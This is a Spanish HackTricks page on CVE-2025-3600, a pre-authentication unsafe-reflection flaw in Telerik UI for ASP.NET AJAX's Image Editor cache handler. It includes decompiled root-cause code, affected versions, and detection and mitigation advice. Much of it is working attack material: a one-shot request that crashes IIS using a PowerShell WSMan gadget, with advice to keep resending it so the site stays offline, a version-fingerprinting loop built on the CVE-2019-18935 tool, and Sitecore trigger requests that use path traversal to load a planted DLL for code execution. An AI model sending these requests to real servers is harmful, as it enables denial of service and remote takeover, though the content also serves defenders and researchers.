Telerik UI for ASP.NET AJAX – Reflexión insegura a través de WebResource.axd (type=iec)

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks

La ejecución de constructores Pre‑auth en el manejador de caché Image Editor de Telerik UI for ASP.NET AJAX permite DoS universal y, en muchas apps, RCE Pre‑auth mediante gadgets específicos del objetivo (CVE-2025-3600).

TL;DR

  • Componente/ruta afectada: Telerik.Web.UI.WebResource.axd con query type=iec (Image Editor cache handler). Expuesto pre‑auth en muchos productos.
  • Primitiva: El atacante controla un nombre de tipo (prtype). El manejador lo resuelve con Type.GetType() e invoca Activator.CreateInstance() antes de verificar la seguridad de tipos de la interfaz. Cualquier constructor público sin parámetros de un tipo .NET se ejecutará.
  • Impacto:
  • DoS pre‑auth universal mediante un gadget del framework .NET (finalizador PowerShell WSMan).
  • A menudo se eleva a RCE pre‑auth en despliegues reales abusando de gadgets específicos de la app, especialmente manejadores inseguros AppDomain.AssemblyResolve.
  • Solución: Actualizar a Telerik UI for ASP.NET AJAX 2025.1.416+ o eliminar/bloquear el manejador.

Versiones afectadas

  • Las versiones de Telerik UI for ASP.NET AJAX 2011.2.712 hasta 2025.1.218 (inclusive) son vulnerables.
  • Corregido en 2025.1.416 (lanzado 2025-04-29). Aplique el parche de inmediato o elimine/bloquee el manejador.

Superficie afectada y detección rápida

  • Comprobar exposición:
  • GET /Telerik.Web.UI.WebResource.axd should return something other than 404/403 if the handler is wired.
  • Inspeccione web.config en busca de handlers mapeados a Telerik.Web.UI.WebResource.axd.
  • No confíe en encontrar cadenas Telerik en / o páginas de login. Productos reales como Sitecore a menudo exponen el manejador sin referenciarlo en el HTML por defecto.
  • El camino de activación para el código vulnerable requiere: type=iec, dkey=1, y prtype=.

Ejemplo de sonda y activador genérico:

GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=Namespace.Type, Assembly

Notas

  • Algunos PoCs usan dtype; la implementación verifica dkey==“1” para el flujo de descarga.
  • prtype debe ser assembly-qualified o resolvable en el AppDomain actual.

Comprobaciones útiles de code/ops

<!-- system.web -->
<add path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" validate="false" />

<!-- system.webServer -->
<add name="Telerik_Web_UI_WebResource_axd" path="Telerik.Web.UI.WebResource.axd" type="Telerik.Web.UI.WebResource" verb="*" preCondition="integratedMode" />
rg -n 'Telerik\.Web\.UI\.WebResource\.axd|Telerik\.Web\.UI\.WebResource' web.config **/*.config
curl -skI https://target/Telerik.Web.UI.WebResource.axd
curl -sk 'https://target/Telerik.Web.UI.WebResource.axd?type=iec'

Triaje rápido de versiones en instalaciones heredadas

Si la misma aplicación también expone el handler legacy type=rau, las herramientas antiguas de Telerik aún pueden ayudarte a identificar la versión compartida de Telerik.Web.UI.dll antes de intentar la investigación de type=iec. Esto no explota CVE-2025-3600 directamente; solo reutiliza el hecho de que rau e iec viven en el mismo ensamblado.

Uso práctico:

  • Si type=rau es accesible, usa la clásica fuerza bruta por versión mayor de las herramientas RAU antiguas para recuperar la versión exacta del ensamblado Telerik.Web.UI.
  • Compara la versión recuperada con el rango vulnerable (2011.2.712 a 2025.1.218) y la versión corregida (2025.1.416+).
  • Considera la ausencia de type=rau como inconcluyente. iec aún puede estar expuesto incluso cuando rau está deshabilitado o filtrado.

Ejemplo con el helper legacy CVE-2019-18935.py:

for YEAR in $(seq 2011 2025); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null \
-u 'https://target/Telerik.Web.UI.WebResource.axd?type=rau' 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\\.[0-9\\.]+" || echo
done

Por qué esto ayuda:

  • Las aplicaciones empresariales a menudo incluyen compilaciones obsoletas de Telerik durante años.
  • Red teams pueden distinguir rápidamente “handler exposed” de “likely still on a vulnerable DLL”.
  • Durante la respuesta a incidentes, el mismo truco ayuda a delimitar grandes flotas de IIS cuando el acceso al filesystem no está disponible de inmediato.

Causa raíz – unsafe reflection en ImageEditorCacheHandler

El flujo de descarga de caché del Image Editor construye una instancia de un tipo suministrado en prtype y solo más tarde la convierte (cast) a ICacheImageProvider y valida la clave de descarga. El constructor ya se ha ejecutado cuando la validación falla.

Flujo decompilado relevante ```csharp // entrypoint public void ProcessRequest(HttpContext context) { string text = context.Request["dkey"]; // dkey string text2 = context.Request.Form["encryptedDownloadKey"]; // download key ... if (this.IsDownloadedFromImageProvider(text)) // effectively dkey == "1" { ICacheImageProvider imageProvider = this.GetImageProvider(context); // instantiation happens here string key = context.Request["key"]; if (text == "1" && !this.IsValidDownloadKey(text2)) { this.CompleteAsBadRequest(context.ApplicationInstance); return; // cast/check happens after ctor has already run } using (EditableImage editableImage = imageProvider.Retrieve(key)) { this.SendImage(editableImage, context, text, fileName); } } }

private ICacheImageProvider GetImageProvider(HttpContext context) { if (!string.IsNullOrEmpty(context.Request[“prtype”])) { return RadImageEditor.InitCacheImageProvider( RadImageEditor.GetICacheImageProviderType(context.Request[“prtype”]) // [A] ); } … }

public static Type GetICacheImageProviderType(string imageProviderTypeName) { return Type.GetType(string.IsNullOrEmpty(imageProviderTypeName) ? typeof(CacheImageProvider).FullName : imageProviderTypeName); // [B] }

protected internal static ICacheImageProvider InitCacheImageProvider(Type t) { // unsafe: construct before enforcing interface type-safety return (ICacheImageProvider)Activator.CreateInstance(t); // [C] }

</details>

Primitiva de explotación: cadena de tipo controlada → Type.GetType la resuelve → Activator.CreateInstance ejecuta su constructor público sin parámetros. Incluso si la solicitud se rechaza después, los efectos secundarios del gadget ya se han producido.

## Universal DoS gadget (no se requieren gadgets específicos de la aplicación)

Clase: System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper en System.Management.Automation (PowerShell) tiene un finalizador que libera un handle no inicializado, provocando una excepción no controlada cuando el GC lo finaliza. Esto provoca de forma fiable que el IIS worker process se bloquee poco después de la instanciación.

Solicitud DoS de un solo disparo:
```http
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35

Notas

  • Sigue enviando periódicamente para mantener el sitio offline. Puedes observar el constructor siendo alcanzado en un depurador; el crash ocurre en la finalización.

De DoS a RCE – patrones de escalada

Unsafe constructor execution desbloquea muchos gadgets y cadenas específicas del objetivo. Busca:

  1. Parameterless constructors that process attacker input
  • Algunos ctors (o static initializers) leen inmediatamente Request query/body/cookies/headers y (de)serializan los datos.
  • Ejemplo (Sitecore): una cadena de ctor alcanza GetLayoutDefinition() que lee el HTTP body “layout” y deserializa JSON vía JSON.NET.
  1. Constructors that touch files
  • Ctros que cargan o deserializan config/blobs desde disco pueden ser forzados si puedes escribir en esas rutas (carpetas uploads/temp/data).
  1. Constructors performing app-specific ops
  • Restablecer estado, alternar módulos o terminar procesos.
  1. Constructors/static ctors that register AppDomain event handlers
  • Muchas apps agregan AppDomain.CurrentDomain.AssemblyResolve handlers que construyen rutas de DLL a partir de args.Name sin sanitización. Si puedes influir en la resolución de tipos puedes forzar cargas arbitrarias de DLL desde rutas controladas por el atacante.
  1. Forcing AssemblyResolve via Type.GetType
  • Solicita un tipo inexistente para forzar la resolución del CLR e invocar los resolvers registrados (posiblemente inseguros). Ejemplo assembly-qualified name:
This.Class.Does.Not.Exist, watchTowr
  1. Finalizadores con efectos secundarios destructivos
  • Algunos tipos eliminan archivos en rutas fijas dentro de los finalizadores. Combinado con el seguimiento de enlaces o rutas predecibles, esto puede permitir una escalada de privilegios local en ciertos entornos.

Ejemplo de cadena RCE pre‑auth (Sitecore XP)

  • Paso 1 – Pre‑auth: Activar un tipo cuyo ctor estático/instancia registra un manejador AssemblyResolve inseguro (p.ej., FolderControlSource de Sitecore en ControlFactory).
  • Paso 2 – Post‑auth: Obtener permiso de escritura en un directorio examinado por el resolver (p.ej., mediante un auth bypass o una subida débil) y plantar una DLL maliciosa.
  • Paso 3 – Pre‑auth: Usar CVE‑2025‑3600 con un tipo inexistente y un nombre de ensamblado que contenga traversal para forzar que el resolver cargue la DLL que plantaste → ejecución de código como el IIS worker.

Ejemplos de trigger

# Load the insecure resolver (no auth on many setups)
GET /-/xaml/Sitecore.Shell.Xaml.WebControl

# Coerce the resolver via Telerik unsafe reflection
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=watchTowr.poc,+../../../../../../../../../watchTowr

Notas de validación, hunting y DFIR

  • Validación segura en laboratorio: Disparar la payload DoS y observar el reciclado del app pool/excepción no controlada vinculada al finalizador WSMan.
  • Hunt in telemetry:
  • Solicitudes a /Telerik.Web.UI.WebResource.axd con type=iec y valores de prtype extraños.
  • Cargas de tipo fallidas y eventos AppDomain.AssemblyResolve.
  • Caídas/reciclados súbitos de w3wp.exe tras dichas solicitudes.

Mitigación

  • Actualizar Telerik UI for ASP.NET AJAX a la versión 2025.1.416 o posterior.
  • Eliminar o restringir la exposición de Telerik.Web.UI.WebResource.axd cuando sea posible (WAF/rewrites).
  • Ignorar o endurecer el manejo de prtype en el servidor (la actualización aplica comprobaciones adecuadas antes de la instanciación).
  • Auditar y reforzar controladores personalizados de AppDomain.AssemblyResolve. Evitar construir rutas a partir de args.Name sin sanitización; preferir cargas con strong-name o listas blancas.
  • Restringir ubicaciones de upload/write y evitar drops de DLL en directorios sondeados.
  • Monitorizar intentos de carga de tipos inexistentes para detectar abuso del resolver.

Hoja de referencia

  • Comprobación de presencia:
  • GET /Telerik.Web.UI.WebResource.axd
  • Buscar el mapeo del handler en web.config
  • Exploit skeleton:
GET /Telerik.Web.UI.WebResource.axd?type=iec&dkey=1&prtype=<TypeName,+Assembly,+Version=..., +PublicKeyToken=...>
  • Universal DoS:
...&prtype=System.Management.Automation.Remoting.WSManPluginManagedEntryInstanceWrapper,+System.Management.Automation,+Version%3d3.0.0.0,+Culture%3dneutral,+PublicKeyToken%3d31bf3856ad364e35
  • Activar resolver:
This.Class.Does.Not.Exist, watchTowr

Técnicas relacionadas

  • IIS post-exploitation, .NET key extraction, and in‑memory loaders:

IIS - Internet Information Services

  • ASP.NET ViewState deserialization and machineKey abuses:

Exploiting __VIEWSTATE without knowing the secrets

Referencias

Tip

Aprende y practica AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE) Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).

Apoya a HackTricks